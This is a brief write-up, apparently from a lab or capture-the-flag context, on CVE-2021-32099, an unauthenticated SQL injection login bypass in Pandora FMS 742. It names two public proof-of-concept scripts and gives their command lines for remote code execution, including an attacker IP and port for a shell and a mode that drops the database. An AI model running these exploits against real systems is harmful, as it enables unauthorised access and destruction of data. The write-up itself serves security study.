Summery

CVE-2021-32099 is a SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php’s session_id parameter, leading to a login bypass.

Affected versions
This affects Pandors FMS v7.0NG.742_FIX_PERL2020.

Exploitation

shyam0904a’s PoC
You can just download it and run it out of the box with python3 sqlpwn.py -t 10.129.86.197 to get the RCE on the host.
When I used it it was a bit limited and I could get a ping back to a listener to spawn a more stable reverse shell.

0xkholod’s PoC
You can use it in two modes:
Standard spawn a RCE: python3 CVE-2021-32099.py <PANDORA_CONSOLE_URL> <ATTACKER_IP> <ATTACKER_PORT>
Extended drops the database: python3 CVE-2021-32099_extended.py <PANDORA_CONSOLE_URL> <ATTACKER_IP> <ATTACKER_PORT>

References

shyam0904a’s RCE PoC
0xkholod’s RCE and database enumeration PoC